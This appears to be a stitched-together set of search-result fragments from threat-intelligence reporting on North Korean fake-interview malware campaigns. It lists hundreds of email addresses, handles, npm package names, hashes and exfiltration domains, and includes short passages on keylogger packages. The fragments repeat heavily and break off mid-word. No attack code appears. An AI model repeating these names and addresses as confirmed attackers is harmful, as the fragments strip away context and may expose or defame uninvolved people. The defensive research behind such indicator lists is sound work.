john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzd…","…l.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal110…","…jinping0813@outlook.com jinping0824@outlook.com joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com…","…angle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107…","…2 ====== johnathon.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com a…","…nonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.…","…jinping0813@outlook.com jinping0824@outlook.com joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com…","…GitHub Users: - CapsuleLabs-lgtml - CapsuleLabs-lgtm Email Associated: - CapsuleLabs-lgtml <johnbiril510@gmail.com> - CapsuleLabs-lgtm <capcapsule3@gmail.com> Domains: - vscode-setup.vercel.app File…","…$25/hour, 40 hours/week 6 months nguyentcg000@gmail.com Giang Vietnam United States $50/hour, 40 hours/week 6 months johncasas000@gmail.com John Colombia United States $30/hour, 20 hours/week 2 weeks nguyentcg000@gmail.com Giang Vietnam United States…","…• [Messages](./user-7147733300-@Ee1030109.txt) - github.com/hexnome ### chain_sats - leionion - chain_sats - x.com/chain_sats - j.ohnceballos0716@gmail.com - \"Tarrance\" Tuson - github.com/leionion ### shinytechapes - shinytechapes - shinyapes - x.com/shinytechapes - github.com/shinyapes -…","…hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes -…","…peterzhou0802@gmail.com[email protected] kawabatakyo0922@outlook.com[email protected] jamesybarra114@gmail.com[email protected] jo.hnceballos0716@gmail.com[email protected] hughnolan88@gmail.com[email protected] deliminallimited.ws@outlook.com[email protected]…","…iao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes h…","…2025 GitHub Users: - eferos93 - andrew_watson - koinos-finance Email Addresses: - Eros Fabrici <eros.fabrici@gmail.com> - John Desmet <johndesmet814@gmail.com> - andrew_watson <andrew_watson@koinos.us> Domains: - vscode-bootstrapper.vercel.app ## Variant sixteen - November 17, 2025 - Unique…","…com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@min…","…yalprince55555@outlook.com billoneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger1122…","…---- davidorion999@gmail.com loyalprince55555@outlook.com billoneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillo…","…Jin Bang, Primoz Bernard - x.com/j7771122 - github.com/jbb1122 - IP: 223.165.6.13 - gombau1212@gmail.com - jbangbang1122@gmail.com - johnkalp1106@gmail.com - fairyland0926@gmail.com - talenteddolphin619@gmail.com - https://x.com/browsercookies/status/1932956578090770818 -…","…l.com ghostmaxim777@outlook.com hundredup2023@gmail.com huzqur023@gmail.com info@versusx.us invite@quiz-nest.com jimmr6587@gmail.com johnkane84830@gmail.com legendaryaladdin@motionassess.com marvel714jm@gmail.com maxwell@gmail.com montessantiago9712@gmail.com mvsolution9@gmail.com phoenixf…","…ail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94…","…gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.be…","…investcereal91863@gmail.com investdreamz34518@gmail.com investgrowthplanner16529@gmail.com jasonhomesales01207@gmail.com johnmarston39482@gmail.com kevinspace09495@gmail.com keycityagent64977@gmail.com keycityrealtor98521@gmail.com keystonenashynoum95584@outlook.com…","…Joshua Charles Palmer - github.com/call-by - joshupgig@gmail.com - smart.solidity@gmail.com #### John Michael Millen - johnmichael0325@outlook.com - JohnMichaelMillen0325@outlook.com #### Naoki Murano - github.com/supermutexc - naokimurano@outlook.com #### Seo Sigoto -…","…and would like to discuss or provide more information, feel free to contact us at chollima_group@proton.me Emails: johnmichael0325@outlook.com JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com…","…github.com/call-by - joshupgig@gmail.com - smart.solidity@gmail.com #### John Michael Millen - johnmichael0325@outlook.com - JohnMichaelMillen0325@outlook.com #### Naoki Murano - github.com/supermutexc - naokimurano@outlook.com #### Seo Sigoto - github.com/seosigoto -…","…or provide more information, feel free to contact us at chollima_group@proton.me Emails: johnmichael0325@outlook.com JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.di…","…ley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@be…","…Nakamura Shota - John Patch - Helme0315 - johnpatch0502 - 0xRUS38 - 0xdoccer - russellhieu - johnpatch0502@outlook.com - russellhieu@outlook.com - github.com/Helme0315 • [Archive](https://archive.ph/vgsFX) - 0x97467ea9BeF1c925E9D8e2E65932d066869b7f13 -…","…ail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamescharlie94@outlook.com denisleedragon@outlook.com ivandimov921016@outlook.com ZachX…","…spen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813…","…@gmail.com jin.an@stableprice.com jinshan96119@gmail.com jiram.kameryn@minofangle.org jksrgj2a@anon1106.anonaddy.com joelbird1128@gmail.com john.son1345676@gmail.com john0212.skill@gmail.com john0817tilley@gmail.com johnathon.espen@my2ducks.com johnathyn.yonis@minofangle.org johndoe246x@gmail.com johnlee…","…yonis@minofangle.org johndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1…","…chai-as-elevated 2026-04-20 live registry hello@jsonspack.com chai-as-encrypted 2026-03-25 graph first seen johnsonjamesedc503@hotmail.com chai-as-evm 2026-03-26 live registry corvettdan1963@inlook.cloud chai-as-hooked 2026-03-25 npm index recovery…","…ondoeth mexowoj971@izkat.com chai-str boriseth borire8128@jsncos.com chai-beta johnsonjamesedc5033 johnsonjamesedc503@hotmail.com chai-as-encrypted corvettdan1963 corvettdan1963@inlook.cloud chai-as-chain-v2 , chai-as-evm , chai-as-adapter…","…ndoe246x@gmail.com johnlee00215@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jo…","…wdev733 - jack.lu955 - johnston.john542789 - smartonefire88888 - devstar.sky20 - github.com/wdev733 - jack.lu955@gmail.com - johnston.john542789@gmail.com - smartonefire88888@outlook.com - wdev733@gmail.com - devstar.sky20@gmail.com - ![](./wdev733-jack-lu-1.jpg) -…","….moore@gmail.com freshtinygrow@gmail.com geniusdev1108@gmail.com goldendev726@gmail.com jacob.rd.dev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@ou…","…account Year in Review tapiasamjann@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review johnwatson2327a@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review donald.edler0626@gmail.com email malware N/A July…","…loganworld002@gmail.com - akp707d@gmail.com - websolution0524@gmail.com - smirnovvvasyl@gmail.com - rgrobertclark032@gmail.com - johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 - github.com/smirnovvvasyl - t.me/defiworld_dev (ID:…","…websolution0524@gmail.com[email protected] smirnovvvasyl@gmail.com[email protected] rgrobertclark032@gmail.com[email protected] johnwilliam199024@gmail.com[email protected]…","…oganlee002@gmail.com loganworld002@gmail.com akp707d@gmail.com websolution0524@gmail.com smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 github.com/smirnovvvasyl Telegram: defiworld_dev loganwo…","…in Review iwan.banicki@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review johnwilson0825@outlook.com email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review kevin.brock@mail.io email malware…","…billoneillighttiger@gmail.com[email protected] johnwoo829612@outlook.com[email protected] johnwoo82921323@gmail.com[email protected] johnjohnjohn829612@outlook.com[email protected] johnjohnjohn829612@hotmail.com[email protected]…","…------------------------------ davidorion999@gmail.com loyalprince55555@outlook.com billoneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annap…","…loyalprince55555@outlook.com[email protected] billoneillighttiger@gmail.com[email protected] johnwoo829612@outlook.com[email protected] johnwoo82921323@gmail.com[email protected] johnjohnjohn829612@outlook.com[email protected]…","…Emails: --------------------------------- davidorion999@gmail.com loyalprince55555@outlook.com billoneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com bl…","…oneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger343…","…5@gmail.com johnlutzde@gmail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com j…","…ail.com johnpaskal1106@gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmai…","…gmail.com johnsmith19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rinc…","…BEEJERN DOMAIN — CONFIRMED IN MULTIPLE REPOSITORIES 4.1 Johy49@beejern.com in TheRavenFile Research 4.2 GitHub: He-Cat-E / Peakality: Beejern Email in .env File 4.3 Peakality.com Co-Developer: Crystal 5.…","…19911107@gmail.com johnson200041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman8…","…email insider N/A N/A Threat actor-controlled email 1 jinkonachi@gmail.com email insider N/A N/A Threat actor-controlled email 1 joizelmorojo@gmail.com email insider N/A N/A Threat actor-controlled email 1 jorgencnc0608@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…041@gmail.com johnston.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejon…","…on.anees@minofangle.org johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jone…","…jiayingzhang.contact@gmail.com jinping0813@outlook.com jinping0824@outlook.com joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com…","…email insider N/A N/A Synthetic persona email 2 kostasmichalakakou@gmail.com email insider N/A N/A Synthetic persona email 2 jokubasbieliauskas1@gmail.com email insider N/A N/A Synthetic persona email 2 stoilesideropoulos001@outlook.com email insider N/A N/A Synthetic persona email 2…","…graphbase-js 2026-03-24 live registry lewis.barajas95@outlook.com jonas-prettier-logger 2026-03-21 graph first seen jonas.schneider77@hotmail.com js-unimode 2026-04-21 live registry rich.swift225@gmail.com json-dec 2026-03-20 graph first seen…","…pretty-ts-logger-1.0.5.tgz exfil: api.soladify.fun 2026-03-15 22:58:58 jonas-prettier-logger (v2.0.1) jonas-code77 ( jonas.schneider77@hotmail.com ) jonas-prettier-logger-2.0.1.tgz exfil: api.mywalletsss.store 2026-03-15 21:12:28 pretty-loggers (v0.1.4) matthiasdev2026 (…","…rg johnzhang94110@gmail.com johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny932…","…2026-09-07 blakeotter2113 <sagowa3816@hebase.com> 2026-09-06 date-fns-formatter (1.4.9) 2026-09-06 jonas_taylor <jonastay0421@gmail.com> npm.cm 9bf2b2c9758f58aae218e03236ce1191815bd081cb23c878106c421c97dd9ca0 2026-09-06 date-fns-formatter (1.3.10) 2026-09-06…","…email insider N/A N/A Synthetic persona email 2 gorantomik1@gmail.com email insider N/A N/A Synthetic persona email 2 jonasvarga1@outlook.com email insider N/A N/A Synthetic persona email 2 dzholedinkov001@outlook.com email insider N/A N/A Synthetic persona email 2…","…joko.setiawan9l@hotmail.com jokohjj80@hotmail.com johnas12121@hotmail.com johnbenzon510727@outlook.com jiupaladin@gmail.com jonatasfrnancisco887@gmail.com juancastiblanco1998@gmail.com julianohoffmann33@gmail.com k7407751@gmail.com kaitlyndynamofwtsc28771@outlook.com…","…m johy.bee.9@outlook.com johy49@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@g…","…These return highly relevant results. author-email:\"Jonathan.daniel.ag1230@gmail.com\" author-email:\"davidexpert1233@hotmail.com\" Compare that to author-name:\"yosket\" (a deleted GitHub persona associated with many…","…13@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gma…","…9@beejern.com joinercantillo0813@gmail.com jojadoc712@v1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.…","…bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com…","…1zw.com jokkunimlo@gufum.com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@g…","….com jonasmakart0913@gmail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentles…","…mail.com jonathan.cryptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010…","…2026-08-11 minimalistic-assert-plus (1.1.7) 2026-08-11 jordanjones <jordanjones1035@gmail.com> 46543bececc793d6150af132e1ba48d0be2b61cc22dc2b2408a1ed3e23eeddfb 784eb60d6fb6ab5e774e497846be486d66059239c3bd6dc2c33426a9537dd547…","…email insider N/A N/A Threat actor-controlled email 1 joizelmorojo@gmail.com email insider N/A N/A Threat actor-controlled email 1 jorgencnc0608@gmail.com email insider N/A N/A Threat actor-controlled email 1 jorgencnc0608@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 jorgencnc0608@gmail.com email insider N/A N/A Threat actor-controlled email 1 jorgencnc0608@outlook.com email insider N/A N/A Threat actor-controlled email 1 jorgencnc960608@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…insider N/A N/A Threat actor-controlled email 1 jorgencnc0608@outlook.com email insider N/A N/A Threat actor-controlled email 1 jorgencnc960608@gmail.com email insider N/A N/A Threat actor-controlled email 1 jose.bfran86@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…ptoguru@gmail.com jonathan.rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gm…","…email insider N/A N/A Threat actor-controlled email 1 jose.bfran86@gmail.com email insider N/A N/A Threat actor-controlled email 1 jose.bfran86@hotmail.com email insider N/A N/A Threat actor-controlled email 1 k_star_0131@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…2026-08-07 modern-localization (1.2.1) 2026-08-07 jose-olivencia <jose.olivencia123@outlook.com> api.jsonbin.io https://api.jsonbin.io/v3/b/6a718a58da38895dfeb6e2ed…","…insider N/A N/A Threat actor-controlled email 1 jorgencnc960608@gmail.com email insider N/A N/A Threat actor-controlled email 1 jose.bfran86@gmail.com email insider N/A N/A Threat actor-controlled email 1 jose.bfran86@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…athanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gma…","….rincon0213@gmail.com jonathanman810@gmail.com jonejones0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.…","Drawn from \"Deep Dive into Active Github Network Running Contagious Interview\", an article the researcher published on X in May 2026 covering an investigation running since mid-2025. The article names the same operation under the labels several vendors give it, Contagious Interview and PolinRider and UNC5342 among them, and describes an infection chain that begins with a repository sent during a fake interview and executes when the developer opens the folder in VS Code or Cursor. This operator runs the keylogger side of it. The two npm packages were, at the time of writing, still published and installable, and carry compiled Windows and Linux keyloggers that capture keystrokes system-wide; the article notes both packages ship the identical Linux binary, which is what places them on one build pipeline. The first hash is the Windows binary and the second the Linux one. Captured keystrokes and clipboard contents go to the hook-server2 address, clipboard changes and a victim beacon carrying operating system, hostname and username to the first address, and stolen browser-extension wallet data to the second. A separate post published the day before the article names the npm account that publishes both packages as topnotcher847, with the address recorded here, and reports the Windows binary inside them at 34 of 74 detections on VirusTotal, one vendor naming it as Lazarus tooling. That account and this GitHub operator are two identities in one operation rather than the same handle, which is worth stating because the two names sit beside each other in the reporting.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 2 commits signed josemalheiro105@gmail.com, an address meow_mfer publishes for this persona, to the login top-notch-spec, which no longer resolves.","…@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.co…","…nes0928@gmail.com jonepaul033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail…","…2026 jasen@empowerpharmacy.space Email address Attacker-controlled email address April 2026 joshc@ondofinance.tech Email address Attacker-controlled email address April 2026 jovanav@nxlog.tech Email address…","…json-spacer 2026-03-20 graph first seen ronaldobon@proton.me json-spectaculation 2026-03-12 live registry joshcabs1234@gmail.com jsontoken-extend 2026-04-17 live registry adsila000@outlook.com levex-press 2026-03-23 live registry…","…jamiereed@hr.predicttocareer.space Email address Attacker-controlled email address May 2026 joshn@hr.recruitvex.us Email address Attacker-controlled email address May 2026 justinstone@hr.trixauvex.org Email…","…xu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viachesl…","…thorneaustinngzsz52979@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review joshuataub3@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review itspeterszabo@gmail.com email malware N/A…","…joshupgig - github.com/call-by - github.com/wewecalibrate - github.com/jp-smart • [Archive](https://archive.ph/grqjk) - joshupgig@gmail.com - smart.solidity@gmail.com - 0x06f90983cd2215379e440fc525e441d6a5fc3fba - 5Jfb3n8eW4JyQrKJktMNBFXnC1zx2YHjRSkzRrTT5QHh -…","…ZachXBT Supplied: 0xm00neth@gmail.com[email protected] naokimurano@outlook.com[email protected] joshupgig@gmail.com[email protected] smart.solidity@gmail.com[email protected] Crypto Wallets: Note: These are low confidence.…","…email insider N/A N/A Synthetic persona email 2 kostic.gordan@outlook.com email insider N/A N/A Synthetic persona email 2 josipbraut@outlook.com email insider N/A N/A Synthetic persona email 2 mirantrkulja@outlook.com email insider N/A N/A Synthetic persona email 2…","…2026 joshc@ondofinance.tech Email address Attacker-controlled email address April 2026 jovanav@nxlog.tech Email address Attacker-controlled email address April 2026 michaelw@ondofinance.tech Email…","…033@gmail.com jonny93229@gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail…","…email insider N/A N/A Synthetic persona email 2 vaskovdime@gmail.com email insider N/A N/A Synthetic persona email 2 jozefmtech@gmail.com email insider N/A N/A Synthetic persona email 2 archelaosasani@outlook.com email insider N/A N/A Synthetic persona email 2…","…The npm publisher account jpeek868 (email jpeek868@gmail.com[email protected] ) declared toskypi as the package author, a name that appears independently in kmsec.uk’s Contagious Trader campaign…","…The npm publisher account jpeek868 (email jpeek868@gmail.com ) declared toskypi as the package author, a name that appears independently in kmsec.uk’s Contagious Trader campaign report under the email…","…The npm publisher account jpeek868 (email jpeek868@gmail.com ) declared toskypi as the package author, a name that appears independently in kmsec.uk’s Contagious Trader campaign report ⁠ (opens in new…","…c9b83cdf9b6c915f02485cce0d993653a07cb78d12317904270f808e65529c30 2026-08-05 big-tss (5.0.5) 2026-08-05 jpeek249 <jpeekwiliam662@gmail.com> 15cb51fdb8e9e63c975f7bb5a45b85f98a0515396e741408d9d232c8c1a228b8 c82d44d227f753660a058918cfa0bc574ad6af5a2248662750d5dd2c42075803…","…modustack 2026-03-24 live registry hr@vynlence.com next-runtimejs 2026-04-09 live registry jr0819@proton.me node-metrica 2026-03-30 graph first seen hello@jsonspack.com node-syncora 2026-03-26 graph first seen…","…(1.3.1) 2026-04-27 13:01:03 Transitive dependency for unique-string-64 ether-bn.js-1.0.3.tgz node-env-detector jason2 (jr10162025@proton.me) (1.0.0) 2026-04-27 15:56:29 Environment profiler and direct dependency for unique-string-64 node-env-detector-1.0.0.tgz…","…15:56:29 Environment profiler and direct dependency for unique-string-64 node-env-detector-1.0.0.tgz unique-string-64 jason3 (jr11282025@proton.me) (1.0.1) 2026-04-27 18:17:48 Malicious loader unique-string-64-1.0.1.tgz 💬 Comment Due to the similar npm usernames, emails,…","…packages to be discussed: Name npm maintainer First weaponised version publish Comment Download npm package es6-runtimejs jaosne (jr11302025z@proton.me) (1.0.3) 2026-04-27 12:49:05 Malicious loader es6-runtimejs-1.0.3.tgz winston-js-express jaosne (jr11302025z@proton.me) (1.0.3)…","…gmail.com jorgewhitedev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com jupiter256821@g…","…dev25@gmail.com jose.charana99@gmail.com josecampos7674948@gmail.com josephsteve1988@gmail.com joy.talentless@gmail.com js0281010@gmail.com jsmith052199@gmail.com jukkahadru@gufum.com julian.aces.pokerdev@gmail.com juliegibbs206@gmail.com juniorcorder53@gmail.com 